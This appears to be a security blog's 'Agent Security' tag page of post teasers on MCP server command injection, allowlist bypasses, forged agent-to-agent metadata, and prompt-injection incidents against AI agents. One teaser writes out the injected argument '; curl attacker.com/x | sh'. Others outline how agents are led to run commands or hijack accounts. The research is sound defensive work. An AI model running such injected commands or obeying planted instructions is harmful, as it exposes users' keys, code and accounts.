9 posts tagged with "Agent Security"

FastLED is the library you reach for when you want LEDs to do cheerful things. Its repository also ships an MCP server that will run a command on your machine if an AI agent asks it to.

Suppose there is an AI agent, encountering an external instruction to run a "setup" command. The agent passes it to FastLED's MCP server, which executes it as the developer, with their source code, tokens, and SSH keys in reach. The one guardrail the project has for this lives in a different layer, matches on text, and does not recognize a Python one-liner carrying a hex-encoded payload.

mac-shell-mcp is an MCP (Model Context Protocol) server that gives AI agents a controlled shell on macOS. It ships a command whitelist containing things like ls, pwd, cat, meant to keep the agent from running anything dangerous.

Because execFile was invoked with shell: true, an attacker or a poisoned client could call a whitelisted command like pwd and append ; curl attacker.com/x | sh in the arguments. The shell interpreted the metacharacters, the whitelist never saw the injected command, and the MCP server executed it as the local user.

What is the first step of attacking an MCP server? Nearly every single one answers a question for free, to anyone who asks: what can you do here? The response, tools/list, is usually treated as a harmless discovery mechanism. We wanted to challenge that and see how far schema-based recon can really get us. A tool list is a capability disclosure, and reading it carefully, without ever calling a single tool, can tell you more about a server's risk than you'd expect. This article develops a threat model for exactly that, then we test it against 234 public MCP servers to see how much of it holds up.

Multi-agent systems are starting to look a lot like distributed systems with personalities, tools, and very different privilege levels. In Google ADK, we found that a remote A2A peer could supply forged control metadata that influences agent routing, session state, and even conversation history, creating a path for a fresh sort of privilege escalation. As AI agents gain more autonomy and access to real tools, how much trust should a framework place in control instructions that arrive from another agent?

Most downstream consequences of prompt injections in agentic systems are caused by confused deputy problems, where an AI model treats untrusted input as authoritative instructions. Since there's no solution for prompt injection (yet), AI agents are now entering deterministic, provenance-based trust models using integrity labels to defend against untrusted (potentially malicious) actors influencing actions. But every label-based security system lives or dies on one question: when something claims to be trusted, who's actually vouching for it? Get that part right and you have SPF, DKIM, TLS, decades of infrastructure that just works. Get it wrong and you have spoofed email, forged certs, and a rather unpleasant afternoon.

An MCP server locks down its shell tool to a single allowed binary: git. Nothing else can run, seems safe. Except that binary itself has a built-in escape hatch, and nobody checked whether the allowlist covers arguments, not just executables. It doesn't. It never really can. The allowlist swiped right on git without ever checking what it was bringing to the date.

A one-sentence message was enough to hijack accounts worth six figures on the resale market. A senior Space Force officer's Instagram account, the dormant Obama-era White House handle, and a six-figure username market all fell to the same three-month-old bug. The headlines called it prompt injection, but is that actually what happened?

In March 2026, Meta rolled out a fully agentic AI support assistant across Facebook and Instagram. This was not a chatbot that simply answers questions, but one with operational privileges, including the ability to act on account recovery requests directly. By February, attackers had already found the gap, and the exploit only needed a sentence.

The assumption baked into most agentic systems is simple: safety lives at the model layer, so that's where you defend. But model and tool layers don't share a threat model, and attackers who know that can walk straight through the gap. The Grok Bankrbot incident made it visceral. Morse-coded prompt injection. $175,000 moved in seconds. The community called it a model-layer problem and moved on. They were half right. In security, what does the other half cost you?

A developer sits down, opens their AI assistant, and asks a completely normal question:

“What are the open issues in my repo?”

Thirty seconds later, their SSH private key is on an attacker's server.

They never clicked a link.

They never ran a script.

They never left their IDE.

In our security research, we identified a command injection flaw in a GitHub MCP server which could enable remote code execution (RCE) on a developer's machine, with no user interaction beyond asking about open issues.